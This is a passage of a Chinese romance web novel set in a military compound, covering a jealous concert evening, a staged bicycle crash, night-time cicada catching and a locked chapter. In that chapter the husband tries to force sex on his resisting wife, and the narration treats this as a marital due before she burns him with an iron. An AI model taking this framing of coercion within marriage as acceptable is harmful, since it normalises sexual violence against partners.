苗秀秀在门口等他,攥住他的手说:“等以后我们有钱了,我们买镶钻的对戒戴。”“对戒是什么?一人一个?”周北冀没听说过男人还得戴戒指。
“对啊,结婚戒指就是一人一个,戴在左手无名指。”苗秀秀比划了一个戴戒指的手势,说:“据说无名指有一根血管直通心脏,所以婚戒都是戴在无名指。”
“还有这说法?”周北冀半信半疑。苗秀秀总是会告诉他一些新鲜有趣的事。
“当然啦,你没看外国电影里结婚的时候都会交换戒指吗?戴上了婚戒,别人一看到就知道这个人已婚了。”
原来是这个心思,周北冀笑着轻轻搂住苗秀秀的腰。
在周北冀和周湘南的安排下,汪玉兰住院以后很快接受了白内障摘除手术,留院观察三天后顺利出院。
母子俩离开雁京前一晚,苗秀秀提着一个大包袱去招待所,托他们替自己带点东西回老家。
“婶子,这里有我两件不穿的衣服,您拿回去自己穿或者送人都可以,我公公那边送来一件八成新的毛料中山装,说是拿回去给我叔穿。”
苗秀秀把包袱里的东西一一向汪玉兰展示,又告诉她,“这还有几块布料,给我妈、您、还有我两个嫂子一人一块,这是二百块钱和八十斤粮票,您也一起拿回去,过年给我叔和您自己做两身新衣服穿。”
一看苗秀秀不仅给衣服衣料,又给了钱和粮票,汪玉兰喜得眉开眼笑,二百块钱对她们一家来说是一笔巨款,给老四娶媳妇正需要用钱。
心里虽窃喜,嘴上却要客气,推辞着:“秀,你这是干什么,婶子来这一趟,你已经帮婶子太多了,哪能要你的钱,你在城里生活花费需要用钱的地方多,我们不能要你的钱。”
说话间,把钱塞回给苗秀秀,苗秀秀哪能不知道她心思,坚持让她收下钱,说:“婶儿,您把钱收下吧,这是我和小周的一点心意,也是我公公婆婆的心意,我还有事儿要托您帮忙呢。”
汪玉兰推辞不过,只得把钱收下,“什么帮不帮的,你是老苗家的丫头,跟我自己亲闺女一样,你有事尽管开口,婶儿一定帮你办到。”
苗秀秀这才从随身的包里拿出一个红布包,交给她:“这是我给我妈买的一对银镯,麻烦婶儿给我捎回去,让我妈别舍不得戴。”
汪玉兰接过去,把红布包郑重地放到贴身衣兜里,拍着胸脯说:“闺女的孝心婶儿一定给你带到,等回老家我亲自看着大嫂把银镯戴在手上。”
“有您这句话我就放心了,以前我给家里寄去的钱她舍不得花,这回我给她买现成的,让她不得不戴。”
苗秀秀起身告辞,对汪玉兰和苗昭说,周北冀已经安排好车,车票也帮他们买好了,第二天一早就送他俩去火车站。
离开招待所,苗秀秀独自一人回家,心里算了算,汪玉兰和苗昭这次到雁京来,住宿治病连吃带拿,她花销了不少,前些日子帮人做衣服赚到的钱全贴进去不说,她还额外花了嫁妆钱,幸好苗家亲戚不多,不然还真招架不住。
走到自家楼下,苗秀秀远远看到舒华站在花坛边上张望,快步走上去和她打招呼。
“舒华姐,你怎么来了?”
“给你送点好吃的。”舒华从随身的挎包里拿出一盒东西给苗秀秀,“我们团上星期去欧洲演出,我买了不少巧克力,分你一盒。”
外国巧克力在当时可是稀罕物,更难得的却是舒华的一片心意,苗秀秀高高兴兴收下礼物,邀请舒华上楼坐坐。
舒华推辞了,“我还有点事情,就不上去了,改天再找你玩。”
苗秀秀目送她苗条的背影远去,低头看着手里的巧克力,撕开包装盒,小心地把锡箔纸揭开,巧克力吃起来甜
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中带苦,和她上辈子在法国吃的一个味道,让她心情越发愉快。
此时,周北冀正在宿舍接小妹周中中打来的电话。
周中中早就听姐姐周湘南说起苗秀秀二婶带着儿子从老家过来看病的事,也知道三哥为那家人忙前忙后,忍不住跟哥哥抱怨。
“三哥,早就跟你说过,你娶个乡下老婆,麻烦事肯定少不了,你管了这一次,她那些老家亲戚以后一有事就来找咱家帮忙,烦都烦死了。”
周北冀一听就皱眉,“这事你私下里发发牢骚就行,可别当着你嫂子的面说,都是一家人,她家亲戚就是咱家亲戚。”
周中中鄙夷道:“谁跟他们是一家?她姓苗我们姓周,听说你还托大哥帮忙把她堂弟弄去当兵,三哥,我还以为你平常一向不爱管闲事。”
“这不也算闲事,是秀秀她亲叔叔的儿子。好了,这是我的事,你少管,回家也别乱说。”周北冀不想再继续这个话题。他既不想和妹妹起争执,也不愿纵容妹妹说妻子的坏话。
周中中知道三哥的脾气,知趣地顺着他的话转移了话题。
“维也纳爱乐乐团?你从哪里弄来的票?我听说价格都炒到好几十一张票了。”周北冀有点心动,这种国际上享有盛誉的顶级交响乐团难得来国内演出,每次来票都抢不到。
“别问我哪里弄来的票,反正我自有办法,你就说你去不去吧。”周中中有意卖了个关子。
周北冀当然想去,但是又不放心,“你怎么不找你同学陪你一起去?”“同学和你能一样吗,你可是我亲爱的三哥。”周中中咯咯娇笑,这么紧俏的票,她可舍不得给同学。
“行,我去。”周北冀麻溜儿答应了。演出他是没少看的,但是国际一流乐团的高水准演出看的机会还真不多。
为了看演出,他还精心打扮了一番,换上烫得挺括的白衬衣和西裤,头发上也抹了不少头发油,胡子刮得干干净净,整个人看起来器宇轩昂、神清气爽。
如约来到大剧院门口,周北冀等了半天也没见到周中中来,不时抬手看表,离演出也就不到一刻钟,这丫头还不见人影,不由得有些着急。
“小周,等急了吧。”一个好听的女声从身后传来。周北冀回头一看,竟然是夏文竹,立刻猜到是周中中那丫头捣的鬼。
夏文竹穿着一条粉红色连衣裙,披肩的秀发用一个别致的小发夹束起来,挎着白色小皮包,整个人看起来清丽出尘,把手里的票递到周北冀面前,她说:“中中临时被教授找去整理资料,来不了了,又不想浪费演出票,打电话让我到他们学校去拿票。演出快开始了,我们先进去吧。”
不等周北冀开口,夏文竹主动把票塞到他手里,手自然而然挎着他胳膊,跟他一起走进大剧院。眼看着到了检票口,周北冀也不好再说什么,硬着头皮进了音乐厅。
他俩找座位的时候,坐在后排的舒华无意中看到周北冀的背影,问身旁的叶耀然,“那个是不是小周?”
“有点像。”叶耀然看过去,注意到周北冀身边的女人似乎不是苗秀秀,诧异地看了舒华一眼。舒华哼了一声,“看我干什么,做得出就别怕人看见。”
“不是你想的那样,小周不是那种人。”叶耀然别别扭扭地想替好朋友辩解辩解。
“我想哪样了,跟我有什么关系?”舒华对男朋友翻了个白眼。果然这些男人都是守望相助的,都被人撞见了,还睁着眼说瞎话。
“误会吧,也可能就是一起出来听个音乐会,你回去别乱说啊。”叶耀然知道舒华最近和苗秀秀走得很近,怕她回去告诉苗秀秀。出卖哥们儿这种事,他做不来。
“人正主儿都没避嫌,你帮人避什么,没准人家就喜欢这么光明正大约会。”舒华嗔怪地打断叶耀然的话,趁着演出还没开场,有心要给周北冀一个难堪,叫他:“小周——周北冀——”
18. 第十七章
周北冀听到声音,回头循声望去,看到坐在后排的舒华挥手和自己打招呼,而她旁边坐着的叶耀然则一脸的无奈。他女朋友向来耿直,遇到让她生气的事情,一点情面都不讲,他拿她没一点办法。
被熟人遇见,周北冀窘得恨不得挖个地缝钻进去,然而,他忽然灵机一动,从座位上站起来,向着舒华和叶耀然的方向走过去。
“咱俩换个座儿。”周北冀把手里的票给舒华。舒华起先还不乐意,架不住周北冀和叶耀然在一旁念叨,只得给他这个面子。周北冀在舒华的位子坐下,悬着的心才放下来。
舒华拿着票坐在周北冀原先的座位,夏文竹心里气恼,但又不好说出口,皮笑肉不笑地和舒华打了个招呼,就没再跟她说话。
“你怎么回事啊,这么明目张胆的,不怕被人看到?”叶耀然压低了声音问周北冀。
“中中那丫头捣鬼,约了我来,她自己临时不来了,换成了夏文竹。”周北冀想到这里就来气,小妹这回胡闹地太过分,想撮合他和夏文竹也不是这么撮合的,他都结婚了。
“我猜也不是你的主意,你还不至于这么拎不清。”叶耀然虽然知道周北冀和夏文竹以前有段时间经常通信,但是不知道他俩发展到哪一步,可不管发展到哪一步,现在他已经结婚了,就不能再继续和夏文竹有牵扯。
周家是有头有脸的人家,父母家教严,不会允许子女在外面乱来。
“你跟小华说,别告诉秀秀,多一事不如少一事。”
“这我还不知道,小华不会多嘴的。”叶耀然看着舞台上乐队就位,演出即将开始,悄悄又问了周北冀一句,“你和那位,到底谈没谈过?”
周北冀听到这话,气不打一处来,谈没谈他还不知道,从小玩到大的铁哥们儿,当兵后更是形影不离,自己从来没瞒过他什么事,就像他也没瞒过和舒华谈恋爱的事。
“想知道?”
“废话。”
“你问她去。”周北冀把皮球踢出去。
“那还是谈过。”叶耀然故意笑得贼兮兮。
周北冀伸手去掐他脖子,叶耀然下意识哎呀一声,前排的舒华听出男朋友的声音,皱着眉回头去看,见他和周北冀互相打闹,丢了个纸包过去,转回头去不再关注。男人到了一起都会变成幼稚鬼,懒得理他们,舒华全神贯注听音乐会。
叶耀然接住舒华扔过来的那个纸包,好奇地打开一看,见是几颗舒华平时最喜欢吃的话梅糖和牛奶糖,咧嘴一笑,拿了一颗给周北冀,自己也剥开一颗塞进嘴里。
演出散场后,几个人回家,夏文竹说自己没骑车,眼波流转看着周北冀。周北冀别过脸,舒华见状,主动提出自己骑车带着夏文竹。夏文竹见周北冀不理自己,悻悻然坐上舒华的车。
月明星稀的夏夜,连风都是暖的。舒华骑车本来就不快,后座再带着个人,速度就更慢了。叶耀然放慢速度,天晚路黑,总不能把两个姑娘落下。
晚上蚊子多,尤其是从大剧院到军区大院要路过的那一大片农田,一群群的蚊子直往脸上飞,狭窄的小路上路灯晦暗不明,舒华时不时抬手赶蚊子,车骑得歪歪扭扭,好几次贴到田埂边上,把夏文竹吓得够呛。
看到不远处有个小土坡,舒华心思一动,有意把车把一转,车轱辘顿时撞到小土坡上,一个急刹过后,车一下子就歪倒了,舒华还好,跟着车一起倒下去,后座的夏文竹直接被甩了出去,滚到了田埂下面。
哎呀,文竹掉下去了,耀然小周,你们快来啊,文竹掉下去了。舒华指着夏文竹滚落的方向,夸张地大叫着。
叶耀然和周北冀赶紧丢了车过来查看情况,叶耀然先一步跳下去找夏文竹,把她扶起来,让上面的两人拉他俩上去。
“对不起啊,我车技太差了,文竹,摔到哪里没有?”舒华上前替夏文竹拍掉裙子上的烂草根和树叶子。
“我没事,就是膝盖磕了一下。”夏文竹低头看了眼膝盖,蹭破了一块皮,疼得她直抽冷气。
“耀然,你骑车熟练,你带着文竹吧。我这烂车技,再也不敢带人了。”舒华向叶耀然使了个眼色,也不等叶耀然说话,径自走过去把倒在一旁的自行车扶了起来。
再蠢的人也看出她是故意的了,夏文竹忍气吞声坐在叶耀然车后座,舒华则坐在周北冀车后座。
因为撞上土堆,舒华骑的这辆车的车轱辘有点歪了,周北冀矫正了半天才矫正好,等舒华坐上去之后,骑出去赶上前面那两人。
“你怎么谢我呀?”舒华悄悄问周北冀。
“你把我的车都骑坏了,还要我谢你?”周北冀笑着说。
“切,德性。”舒华切了一声。
两辆车一前一后进了军区大院,往文工团的方向过去,谁知道迎面竟遇上苗秀秀。
周北冀一惊之下急刹车,后座的舒华猝不及防地撞到他后背上。
哎呦,你干嘛!舒华的抱怨刚出口,头一歪看到苗秀秀站在不远处,手里还拿着一根奶油雪糕。
苗秀秀也没想到会看到这一幕,四个人两辆车,组合倒是有些奇怪,叶耀然带着夏文竹,舒华却坐在周北冀车后座。
诡异的氛围持续了好几秒,苗秀秀眨巴着眼睛,满脸天真看着周北冀,“你们出去玩儿了?”周北冀看到她脸上那种似笑非笑的表情,脑袋嗡嗡的,赶忙否认,“没没,不是约好的。”
舒华听他说得结结巴巴的,心里偷笑,故意火上浇油,“我们去听音乐会了,维也纳爱乐乐团的首场演出。”
“难怪。”苗秀秀眉眼一飞,瞟了周北冀一眼,和舒华道别之后,自己走了。
周北冀被她最后这一眼看得心里难受,丢下车对舒华说,“你自己骑车回去吧,我就不送你了。”说话间,把车交给舒华,追苗秀秀去了。
一、二、三、四……苗秀秀心里默念着,数到七的时候,周北冀果然跟了上来,还特别亲热地搂住她的腰,像是生怕她闹别扭跑了。
苗秀秀没有反抗,也没有说话,把手里的雪糕送到他嘴边,看着他张开嘴,才把雪糕收了回去,让他扑个空。
“不是你想的那样,就是在剧场刚好遇到了。”周北冀无力地解释着,觉得这一晚真他妈糟透了。他明明没做错什么,却有一种被捉奸的羞耻和恐慌。
“是那样也没什么,谁还没点朋友、没点社交。”苗秀秀笑嘻嘻地说。
周北冀心里一沉,不知道苗秀秀这是真大度还是装大度,自从她性情大变,他是一点也琢磨不透她的性格了。
两人就这么不咸不淡走着也挺尴尬,周北冀思之再三,还是主动握住苗秀秀的手。苗秀秀反握住他的手,和他亲密地十指相扣。
“晚上你在食堂吃的?”周北冀没话找话。
“没,我自己做了锅包肉和炒面筋。”苗秀秀对自
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己好着呢,有限的生活费全花在自己身上。
“我也喜欢吃锅包肉。”
“嗯,你还喜欢吃爆栗子。”
没等周北冀反应过来,脑门上已经挨了苗秀秀一记爆栗子。疼是有点疼,他反而笑了,不挨这一下,今晚的事翻不了篇。
苗秀秀见他傻笑,从口袋里掏出一块巧克力,剥去包装纸,塞到他嘴里。周北冀吃着甜甜的巧克力,瞬间福至心灵,“这巧克力是舒华送你的吧?”
“对啊。你怎么知道?”苗秀秀自己也吃了一块。
“她送了耀然一大盒,耀然拿到宿舍分了,我记得这味道,国内的巧克力没这好吃。”周北冀抢到了好几块,被他一口气全吃了。
把舒华送回宿舍,叶耀然没有立即走,跟着她上楼一直送到房间里。
舒华住的是叶耀然给她安排的单间,是整个楼里最宽敞,位置最好的一间,方便两人单独约会。
一回到房间里,舒华就惬意地往床上一趟,得意地哈哈大笑,“刚才可把我憋死了,夏文竹看到小周去追苗秀秀时的脸色简直太好笑了,拉到舞台上就能唱花脸。”
叶耀然没搭话,翻箱倒柜不知道在找什么。舒华欠了欠身,叫他:“唉,你听到我说话没有?”
“听到了,你想笑就笑吧,我看你都憋一晚上了。”叶耀然终于找到了他要找的东西,在舒华床前坐下。舒华这才看到他手上拿着碘伏和棉签。
看到叶耀然无声地掀开自己裙子,往膝盖上的擦伤涂抹碘伏,舒华心里一阵甜甜的酸涩。虽然只是一点点小擦伤,她没叫疼也没告诉他,他竟然都注意到了。
“唉,你觉得今晚的事小周解释得清吗?”舒华忍不住拿穿着丝袜的脚丫子踢了男朋友一下。
叶耀然正专注她膝盖上的伤,冷不丁挨了一脚,先是笑,随即又说:“解不解释反正他死定了,苗秀秀不会放过他的。倒是你,看热闹不嫌事大,何必去撞土堆,把夏文竹甩出去也就罢了,还把自己膝盖也摔伤了。”
虽然擦伤并不严重,叶耀然涂药的时候还是很仔细,一点都不弄疼舒华。
舒华没心没肺笑了两声,“我就看她不爽怎么了,杀敌三千自损五百我也认了,我平等地鄙视所有小三,包括追过你的那个小女兵。”
“得得,别扯到我。”叶耀然求饶。为了这件事,舒华跟他闹了好久的别扭。舒华抓住他两只耳朵,捧起他的脸,在他脸上亲了好几口。
和他俩的甜蜜不同,夏文竹一回到宿舍就扑到床上哭起来,直到周中中打来电话,她还在哭,听周中中问起晚上的情况,把一晚上受的委屈全告诉周中中。
“我哥真这样?那他也太过分了,还有舒华姐也是,帮谁不好,帮那个乡下人。”周中中越听越气,义愤填膺把她三哥骂了一通。
“中中,我感觉你三哥好像真有点喜欢她。”夏文竹光顾着伤心,膝盖上的伤口火辣辣地疼,也没心情去处理伤口。
周中中一听这话就不高兴,“瞎扯,我哥才不会喜欢她,她又土又没文化,我哥顶多算是可怜她。你今晚只是运气不好,遇到了叶三哥和舒华姐,叶三哥是我哥最铁的发小儿,但是他什么都听舒华姐的,舒华姐很厉害的,不仅叶家一家人都很喜欢她,就连我爸妈也特别喜欢她,说她人长得美歌唱得也好听,你以后最好和舒华姐搞好关系。”
夏文竹叹息一声,没说话。
19. 第十八章
睡到半夜,苗秀秀被热醒了,光脚跳下床去调电风扇档位,盛夏炎热的夜晚,一丝风都没有,无比怀念有空调的日子,窗外白杨树上的知了还叫个不停,让人听着就心烦。
无意中看到睡在行军床上的周北冀,苗秀秀吓一跳,大半夜的他不睡觉,瞪着两只绿莹莹的大眼睛干嘛呢?狼一样。
“你没睡着呀?”苗秀秀轻手轻脚走到他床边坐下,随手拿起蒲扇替他扇了扇风。
“热得睡不着,你怎么也没睡?”周北冀拿起放在床头的毛巾擦汗。身心煎熬的热,最近常常让他睡不着,明明人就在眼前,却总像是隔着什么,让他不好意思迈出关键一步。
“我也热啊,还吵得慌。你能不能把窗外树上的知了给捉了?叽叽叽叽的,烦死了。”苗秀秀只在小时候经常听到知了叫,后来就很少能听到了,哪知道这个年代知了不仅多,还不分白天黑夜地叫。
“我?大半夜黑灯瞎火的,让我去爬树捉知了?”周北冀以为是自己听错了。
“对啊,谁让咱家对面这些树上的知了大晚上还叫,也不是非让你捉,你把他们赶走也行。”苗秀秀用力给周北冀扇了两下。
原来真没听错,周北冀给气笑了,“外面那么黑,我怎么知道知了在哪儿,我又没工具,怎么捉啊?”
“还需要什么工具,你拿个手电筒爬到树上照照不就看到知了了,雍正的粘杆处不就是干这个的,你拿竹竿子捅两下知了不就飞了。”苗秀秀说得理直气壮。
“你说真的?”周北冀心想,拿我当血滴子了,随便捅两下就能把知了赶走。
“当然是真的,这两天雷阵雨多,知了全从地下爬出来了,白天黑夜叽叽叽叽,我都两晚没睡好了,今晚再睡不着,明早起来我这两只眼睛肯定变成熊猫眼,你看我的黑眼圈。”苗秀秀比划着黑眼圈给周北冀看。
撒娇很管用,周北冀一阵笑,起身去找手电筒,又把以前钓鱼用的竹竿稍微改造了一下,穿着背心裤衩、趿拉着拖鞋下楼去了。苗秀秀也拿着个塑料袋跟着他下楼。两人走到绿化带树丛里,周北冀举起手电筒对着树上晃了晃,自言自语地说,是挺烦人,大晚上的叫什么叫。
小时候没少吃油炸知了猴,捉知了周北冀太在行了,把手电筒交给苗秀秀照着树上,他抬脚踢了几下树干,举起竹竿在树叶树枝上用力拍打摇晃,好几只知了瞬间从树上掉了下来,把苗秀秀看得傻眼。
“快捡啊,捡回家油炸了吃。”周北冀爬树也很在行,三下两下就爬到树的枝丫上站着,继续用竹竿赶知了。知了夜晚行动迟缓又趋光,随着他挥舞竹竿的动作纷纷下落。
“那都是活的,我可不敢捡。”苗秀秀最怕虫子,看到满地的知了吓都吓死了,举着手电筒不停跳脚避开知了。那些知了还是纷纷往她周围掉落。
“那你跟着我下来干嘛。”周北冀从树上跳下来,从她手里拿走塑料袋,弯腰去捡地上的知了。他像是玩上了瘾,不过十几分钟时间,附近的树丛全都被他用竹竿敲打了一遍,足足捡了一大塑料袋的知了猴。
树丛里蚊子多,苗秀秀只站了一会儿就觉得浑身上下都被蚊子咬麻了,催促周北冀赶紧回家。周北冀又嚯嚯了两棵树,弯腰捡知了。
就在他俩满载而归准备撤退的时候,有人忽然用强光手电照他俩。苗秀秀一脸惊诧,下意识抬手遮挡亮光,周北冀抓住她胳膊,挡在她身前。
肯定是遇到大院里每晚负责巡逻值夜的治安纠察。
“你俩是什么人?大半夜不睡觉,跟我们走一趟。”一身军装、戴着红袖箍的巡逻纠察严肃责问他俩。夜深人静不睡觉,鬼鬼祟祟从树丛里出来,不知道干得什么勾当。
纠察都配枪,周北冀赶忙上前说明情况,纠察看到他穿着背心裤衩,手里还提着一大兜子知了,不像是说谎,询问了几句也就算了。
挽着周北冀胳膊,苗秀秀低声问他:“我怎么觉得他们不信你的话,老看我,还笑。”“笑就笑呗,我们合法夫妻,真怎么样也不算有伤风化。”
“别扭,早知道会遇到纠察,我就不该跟你一起下来。”苗秀秀撇了撇嘴。刚才那两个纠察看到他俩的那种表情,仿佛他俩不是在捉知了,而是被捉奸在床。
回家以后,周北冀在厨房忙活,清洗和油炸知了,苗秀秀往身上涂花露水和风油精,数一数,全身上下居然被蚊子咬了三十多个包,奇痒无比。
听到滚油出锅刺啦刺啦的声音,苗秀秀拿着花露水到厨房看看,油锅里的知了猴已经炸到金黄酥脆,看起来口感应该不错,但她是万万没有勇气尝试的。
“你怎么没被蚊子咬啊,合着蚊子光咬我一个人了。”苗秀秀看他颠勺儿,结实的手臂上只有些微被蚊子叮咬过的痕迹,又去看他的腿。不知道是不是男人腿上毛多,他腿上也没有蚊子包。
“咬了呀,但是咬得少,我一直活动,不像你总站着,蚊子自然叮你比较方便。”周北冀把色香味俱全的油炸知了猴装在盘子里,拿上一瓶酒,准备好好吃一顿夜宵。
大晚上的不想开灯影响引起邻居注意,他只打开了台灯,一人坐在灯下独酌,吃得津津有味。
“你不来尝尝吗?很好吃的。”周北冀小时候吃过无数次油炸知了猴,在野战部队的时候也没少吃,反而是回来上学这两年不怎么吃了。
“我从来不吃虫子,看它们长得那么可怕我吃不下。”苗秀秀躺在床上吃雪糕。
“乡下长大的孩子居然不吃知了猴,倒是很少。”周北冀似有意似无意说了一句。这么酥脆嫩爽的口感,她真是没有口福。以前他和哥哥妹妹出去捉知了猴,做好了以后全家人抢着吃。
“我们乡下人也不是什么都吃,反正这么恶心的虫子我不会吃的。”苗秀秀一想起满地掉落的知了就浑身起鸡皮疙瘩。
“真的好吃,你尝尝就知道。”周北冀夹起一个炸得外酥里嫩的知了猴送到嘴里,又喝了一口酒,美味一口接一口,根本停不下来。
苗秀秀坐起来,看到他手边的白瓷酒瓶,跳下床看着他,“啊啊,你大半夜喝茅台啊,你好奢侈啊,油炸知了配茅台,咱家统共两瓶
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茅台,还是结婚时爸爸的战友送的。”
“有什么了不起,不就是茅台。”周北冀笑笑不在意,他家逢年过节都喝茅台。部队上喝茅台是传统,他爸爸虽然不怎么沾酒,但是也喜欢喝茅台,他和两个哥哥小时候没少偷喝家里收藏的茅台。
“茅台这么贵,应该留着过年喝啊。”苗秀秀没想到周北冀吃个夜宵还得喝茅台。
“再贵也不过是酒,想喝就喝,还得挑时候?你想喝就拿个杯子过来。”周北冀招呼她和自己一起咪西咪西。
苗秀秀在他身旁坐下,很不理解他吃个知了猴都能吃得嘎嘎香,看了一眼他面前的盘子,卖相倒是还不错,看起来是裹了面粉炸的,不怎么看得出那东西的本相。
周北冀见她一脸的嫌弃,笑着说,“尝尝啊,很好吃,不骗你,还是有营养的高蛋白。”苗秀秀还是摇头。
“闭上眼吃,就当是吃油炸虾。”周北冀把筷子给苗秀秀。苗秀秀勉为其难夹了一个,可是一想到知了的样子就怎么也吃不下了,把筷子又还给他。
“没口福。”周北冀自己一个人就干掉一大盘,又去锅里把剩下的全盛出来,准备吃个够。
“真这么好吃啊?”苗秀秀也有点馋。以前也不是没人说起过油炸知了猴,只是从来不敢尝试,看他吃得很香,就像几十年后人们吃香辣小龙虾,不知道口感一不一样。
“好吃,我难道还骗你,别的菜我不怎么会做,油炸知了猴是我拿手菜。不好吃不要钱。”周北冀夹起一个金黄酥脆的知了猴送到苗秀秀嘴边。他微醺的脸红红的,苗秀秀的心不知道就触动了一下,把心一横,张嘴吃了下去。
确实又香又脆,苗秀秀吃了一个还想吃第二个,把酒杯里的酒也喝了一大口。就这样越吃越香,越喝越醉,喝酒了眼前开始出现重影,眼皮发沉头也昏了,不知不觉倒头就睡。
第二天早上醒过来,才发现自己好好地睡在床上,身上盖着毛巾被。周北冀早已不知去向,但茶几上收拾得干干净净,昨晚炸知了用的锅碗瓢盆也全都刷干净了。苗秀秀静静躺在枕头上,努力想记起昨晚她喝多以后发生的事,却一点也记不起来了。
等她打着哈欠去冰箱找鸡蛋做早餐,看到冷藏室里放满了雪糕和冰淇淋,瞬间就不困了。周北冀在花钱这方面是真不小气,给她买的雪糕和冰淇淋全是服务社里最贵最好吃的。
又是一个周末,傍晚五六点钟的时候,天气突变,大风刮得飞沙走石,眼见着就要下暴雨,苗秀秀赶紧关门关窗,跑去阳台上收衣服,豆大的雨点被狂风卷着呼啸而来,不到十几秒钟时间,就把苗秀秀身上的衣服全打湿了。
想起来周北冀书房也被她开窗通风,收了衣服以后赶忙跑到书房里去关窗户,窗台上那盆文竹被风吹得摇摇欲坠,心头恶念一闪,手一推把那盆文竹推出了窗台,然后关上窗户插好插销。
周北冀最喜欢那盆文竹,一直养在书房里,苗秀秀早就看它不顺眼了,趁着这个机会正好把它给处理了,干坏事果然会比较爽,苗秀秀的心情一下子好了起来。
20. [锁] [此章节已锁]
料想这种风雨交加的坏天气周北冀是不会回来了,苗秀秀去浴室洗澡之前,从衣柜里随便拿了一件他的白衬衣,准备当睡衣穿一晚。每次他不在家的时候,都是她最放松,最不用装的时候。
窗口吹进来冷风,和洒在身上的热水一起拂拭着身体,轻松而舒适,苗秀秀打量着自己年轻而有弹性的身体,温热的水珠肆意流淌徜徉,心被这种舒适感胀得满满的。
洗了澡出来,套上周北冀的衬衣。他不回家吃饭的时候,她吃饭也简单,炒一个番茄炒蛋,下碗面条就是晚饭。
舒华的演出服设计图她已经选好了衣料,准备用紫红色金丝绒做成拖地长裙,金丝绒质感好,做出来的裙子雍容华贵,非常适合在舞台上穿。
要想设计出彩,就得在剪裁和装饰上下功夫,她已经想好了大概的样式,也画出了草图,只需要在胸前和腰部的装饰上再稍作改进,款式应该能让舒华满意。
舞台上都是有灯光的,如果在胸前缝上亮片作为点缀,灯光一打应该非常好看,苗秀秀记起来小时候看《茜茜公主》,索菲皇太后有一条蓝色金丝绒礼服非常漂亮,也是胸口有大片的亮片装饰,苗秀秀准备按着这个思路去改善设计。
窗外的天已经黑透了,狂风暴雨虽然比之前小了,依然淅淅沥沥下个不停,不想看电视,苗秀秀打开收录机,塞了一盘邓丽君的磁带进去,轻轻柔柔的歌声顿时让这个雨夜变得缠绵起来。
我没忘记你忘记我,连名字你都说错
证明你一切都是在骗我,看今天你怎么说
你说过两天来看我,一等就是一年多
三百六十五个日子不好过,你心里根本没有我
把我的爱情还给我
周北冀打开家门,听到了卧室里传来的歌曲声,脱掉身上的雨衣,走到卧室门口看过去,眼前的画面让他差点不敢相信自己的眼睛。
苗秀秀穿着一件明显不合身的白衬衣,把缝纫机当熨衣板,正在熨衣服,不仅光着两条细长腿,还披散着头发。
他认出来,她身上穿着的是他的衬衣,而苗秀秀听到动静看到他回来,也只是跟他笑了一笑,并没有被他撞破秘密的羞涩,似乎她已经不是第一回穿他的衣服。
“天下雨,我还以为你不回来了呢。”苗秀秀也没有主动去迎接他,只管干自己手里的活儿。等周北冀走上前靠近她,她才又说:“我的睡衣洗了,我就临时穿了一下你的衣服,要是你不喜欢我穿,我下回不穿了。”
“你想穿就穿。”周北冀靠近了才发现,她衬衣里竟然是中空的,里面什么都没穿,这让他的心瞬间在胸腔里激烈跳动,冲动汹涌上头。
苗秀秀低头含笑,一件衣服熨好了,她又开始熨第二件。
她的两条长腿笔直匀称,没有一点赘肉,浑圆的臀部更是线条优美流畅,周北冀看得口干舌燥喉结滚动,身体一下子就有了反应。
“你吃过了吧,没吃的话,我给你下碗面条。”
“不用了,我在学校吃过了。”
周北冀声音嘶哑,从苗秀秀身后搂住她的腰,身体紧紧地贴上她后背。他的身躯火热,一下子就烫得她浑身一激灵。
他低着头,下巴搁在她肩上,手先是在她身上摩挲,像是日思夜想终于得到满足,始终舍不得放开手。
感觉到他的动作,苗秀秀意识到将会发生什么,只得先装傻,娇嗔:“你干嘛?”他的手抚摸没有章法,但是很有力度,她又不是傻瓜,哪经得起他这样,必须赶在她也动情之前阻止他。
“秀秀——”他的声音更哑了。他想要。
苗秀秀放好熨斗,转过身来,周北冀已经撕开她衬衣的扣子,沿着她的脖子和锁骨一路吻下去。
“你别这样,放开我。”苗秀秀费尽力气也没法推开他。
“我们是夫妻,你说我要干什么。”周北冀终于分出点时间,给她回应。
“可是,你说你不喜欢我,永远也不会和我当真正的夫妻。”苗秀秀有意提起他自己当初说过的话,让他自己打脸。
“我什么时候这样说了?”周北冀此时早已意乱情迷,哪还记得自己说过的混账话。
“结婚那天晚上你说的。”苗秀秀永远不会忘记,那天晚上她听到他说的话,心里有多难过,她对他一见钟情,他却如此嫌弃她。
周北冀只记得自己那天喝多了,完全不记得自己还说过这样的话。抬起脸,有些歉意地看着她,“我胡说的,你别当真。”
苗秀秀才不会放过他,将自己衣襟紧紧合上,羞红了脸,“现在这样合伙过日子不是也挺好的。没有念想也就没有那么多烦恼。”
周北冀没想到自己以往的冷落会对她产生这么大的伤害,以至于放弃了对他的念想才能重拾自信,叶耀然那家伙倒是没说错。可事已至此,她放下了,他却放不下,不仅如此,他此刻□□焚身,不可能轻易就放弃。
搂住苗秀秀的腰,周北冀把她按倒在缝纫机上,运用力量的优势对她为所欲为、任意肆虐。
“你不能这样,周北冀,凭什么你说要就要,说不要就不要,结婚大半年了,你都不跟我圆房,你根本就不喜欢我,现在不过是荷尔蒙冲动。”
苗秀秀扭动着身体想避开周北冀的进攻,精虫上脑的男人简直可怕,没有理性,也毫不怜香惜玉,她的腰都快被他压断了。
周北冀浑然不理会苗秀秀对他又掐又咬,又踢又打,一心想要征服她。
哎呦——他忽然被背上火烧般的剧痛惊得浑身一激灵,紧跟着身体颤抖起来。他难以置信地看着苗秀秀,怎么都没想到,这个女人会抗拒到拿烧热的熨斗烫他。
苗秀秀也是满脸惊恐,弓着腰背靠着缝纫机,一只手拿着衬衣遮住满是指痕和牙印的身体,一只手拿着熨斗,神情狼狈中又带着几分倔强,似乎在对他说,只要他再敢上前侵犯她,她就跟他拼命。
怎么就到了要拼命的地步,不过是想做夫妻间应该做的事,背上的剧痛让周北冀本能地直不起腰,脸色苍白额头冷汗直冒。
苗秀秀被他苍白到蜡黄的脸色吓到了,丢掉手里的熨斗,慌手慌脚拔掉插头,跑上前扶住周北冀。
周北冀看着她,四肢僵硬麻木,疼得声音都嘶哑了,“不至于要我的命吧。”
苗秀秀扶他到床上趴着,试图脱掉他的衬衣,听他一声惨叫,才发现被烫伤的地方,衬衣已经和皮肉连在一起,于是她黑着心一把撕开那块布,他再次惨叫,疼得昏了过去。
什么叫切肤之痛,这回你懂了吧,你让苗秀秀承受的,老娘也让你承受一回。
苗秀秀在心里发狠,却也没想真要他的命,跑去厨房用毛巾包了一包冰块出来,放在他伤口上冷敷,伤口周围已经起了一大片燎泡,难怪他疼得死去活来。
